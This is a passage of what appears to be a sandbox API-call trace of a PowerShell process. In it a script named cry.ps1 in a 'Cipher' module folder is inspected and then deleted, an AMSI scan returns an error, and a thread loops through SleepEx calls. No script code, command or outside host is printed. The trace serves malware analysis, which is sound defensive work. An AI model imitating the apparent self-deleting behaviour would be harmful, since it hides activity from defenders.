lpFilePart=0x0) returned 0x40 [0141.220] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cry.ps1")) returned 0x20 [0141.220] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae734, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0141.220] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0141.221] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae870, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0141.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aed30) returned 1 [0141.221] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0141.221] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1\\", nBufferLength=0x105, lpBuffer=0x99ae80c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1\\", lpFilePart=0x0) returned 0x49 [0141.221] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1\\*", lpFindFileData=0x99aea58 | out: lpFindFileData=0x99aea58) returned 0xffffffff [0141.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aecf4) returned 1 [0141.221] CoTaskMemAlloc (cb=0x404) returned 0x42df658 [0141.221] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x42df658, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0141.221] CoTaskMemFree (pv=0x42df658) [0141.239] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cry.ps1")) returned 0x20 [0141.239] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0141.239] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0141.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec54) returned 1 [0141.239] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), fInfoLevelId=0x0, lpFileInformation=0x6a55d20 | out: lpFileInformation=0x6a55d20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0be58b7, ftCreationTime.dwHighDateTime=0x1d4bf18, ftLastAccessTime.dwLowDateTime=0xe0be58b7, ftLastAccessTime.dwHighDateTime=0x1d4bf18, ftLastWriteTime.dwLowDateTime=0xe16f8157, ftLastWriteTime.dwHighDateTime=0x1d4bf18, nFileSizeHigh=0x0, nFileSizeLow=0x277)) returned 1 [0141.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec50) returned 1 [0141.239] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cry.ps1")) returned 1 [0141.240] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aef10*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aef10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0141.240] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99af28c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99af28c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0141.240] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99af2f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99af2f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0141.240] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeecc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeecc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0141.240] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aef30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aef30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0141.241] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99aeed4 | out: lpConsoleScreenBufferInfo=0x99aeed4) returned 1 [0141.700] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99aeedc | out: lpMode=0x99aeedc) returned 1 [0141.743] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99aeed4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99aeed4*=0x2) returned 1 [0141.792] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99aeed8 | out: lpConsoleScreenBufferInfo=0x99aeed8) returned 1 [0141.812] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99aeee0 | out: lpMode=0x99aeee0) returned 1 [0141.855] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99aeed8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99aeed8*=0x2) returned 1 [0141.881] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99af088*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99af088*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0141.881] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99af0ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99af0ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0141.881] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99af28c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99af28c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0141.881] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99af2f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99af2f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0141.881] SetEvent (hEvent=0x724) returned 1 [0141.882] SetEvent (hEvent=0x714) returned 1 [0141.882] SetEvent (hEvent=0x708) returned 1 [0141.882] SetEvent (hEvent=0x710) returned 1 [0141.882] SetEvent (hEvent=0x700) returned 1 [0141.882] SetEvent (hEvent=0x704) returned 1 [0141.882] SetEvent (hEvent=0x71c) returned 1 [0141.882] SetEvent (hEvent=0x728) returned 1 [0141.882] SetEvent (hEvent=0x72c) returned 1 [0141.884] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x99af440*=0x70c, lpdwindex=0x99af25c | out: lpdwindex=0x99af25c) returned 0x0 [0141.888] SetThreadUILanguage (LangId=0x0) returned 0x409 [0141.901] CoCreateGuid (in: pguid=0x99af294 | out: pguid=0x99af294*(Data1=0x1c23e9e8, Data2=0xcb21, Data3=0x471e, Data4=([0]=0x81, [1]=0xde, [2]=0xd7, [3]=0xf8, [4]=0x4c, [5]=0xd6, [6]=0xbe, [7]=0xbe))) returned 0x0 [0141.901] AmsiOpenSession () returned 0x0 [0141.901] AmsiScanString () returned 0x80070015 [0141.903] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99af300*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99af300*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0141.903] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99af260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99af260*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0141.903] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99af2f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99af2f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0141.903] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x2, pHandles=0x99aee00*=0x784, lpdwindex=0x99aecbc | out: lpdwindex=0x99aecbc) returned 0x0 [0141.905] SetEvent (hEvent=0x798) returned 1 [0141.905] SetEvent (hEvent=0x784) returned 1 [0141.905] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99af28c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99af28c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0141.905] SetEvent (hEvent=0x8d0) returned 1 [0141.905] SetEvent (hEvent=0x798) returned 1 [0141.905] SetEvent (hEvent=0x784) returned 1 [0141.905] SetEvent (hEvent=0x8d4) returned 1 [0141.905] SetEvent (hEvent=0x79c) returned 1 [0141.905] SetEvent (hEvent=0x78c) returned 1 [0141.905] SetEvent (hEvent=0x850) returned 1 [0141.905] SetEvent (hEvent=0x8e4) returned 1 [0141.905] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x99af440*=0x70c, lpdwindex=0x99af25c | out: lpdwindex=0x99af25c) returned 0x0 [0142.861] CoGetContextToken (in: pToken=0x99af830 | out: pToken=0x99af830) returned 0x0 [0142.862] CoUninitialize () [0143.508] GenericStream::Read () returned 0x0 [0143.508] GenericStream::Read () returned 0x0 [0143.508] GenericStream::Read () returned 0x0 Thread: id = 28 os_tid = 0x888 [0101.107] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0101.108] CoGetContextToken (in: pToken=0x9c7f9c4 | out: pToken=0x9c7f9c4) returned 0x0 [0101.108] CObjectContext::QueryInterface () returned 0x0 [0101.108] CObjectContext::GetCurrentThreadType () returned 0x0 [0101.108] Release () returned 0x0 [0101.108] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0101.108] CoUninitialize () [0101.108] RoInitialize () returned 0x1 [0101.108] RoUninitialize () returned 0x0 [0101.151] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.151] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.151] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.151] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.151] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.151] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.151] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.151] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.151] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.151] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.151] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.151] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.151] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.151] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.151] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.151] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.151] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.151] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.151] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.151] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.152] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.152] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.152] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.152] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.152] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.152] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.152] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.152] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.152] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.152] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.152] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.152] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.152] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.152] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.152] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.152] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.152] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.152] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.152] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.152] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.153] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.153] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.153] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.153] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.153] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.153] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.153] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.153] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.153] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0101.153] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.036] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.077] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.096] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.097] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.097] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.097] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.097] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.097] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.097] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.098] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.098] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.098] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.098] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.098] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.098] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.099] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.099] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.099] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.099] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.099] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.099] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.100] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.100] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.100] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.100] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.819] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.821] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.822] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.822] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.822] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.822] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.822] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.822] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.822] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.822] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.822] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.822] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.824] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.824] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.824] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.824] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.824] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.824] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.824] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.824] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.824] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.824] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.213] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.217] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.224] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.225] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.225] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.225] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.225] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.225] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.225] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.225] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.226] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.226] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.226] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.226] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.226] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.226] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.226] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.226] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.227] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.227] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.227] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.227] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.227] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.227] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.227] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.563] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.563] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.563] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.563] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.563] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.563] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.564] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.564] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.564] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.564] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.564] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.564] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.565] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.565] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.565] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.565] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.566] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.566] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 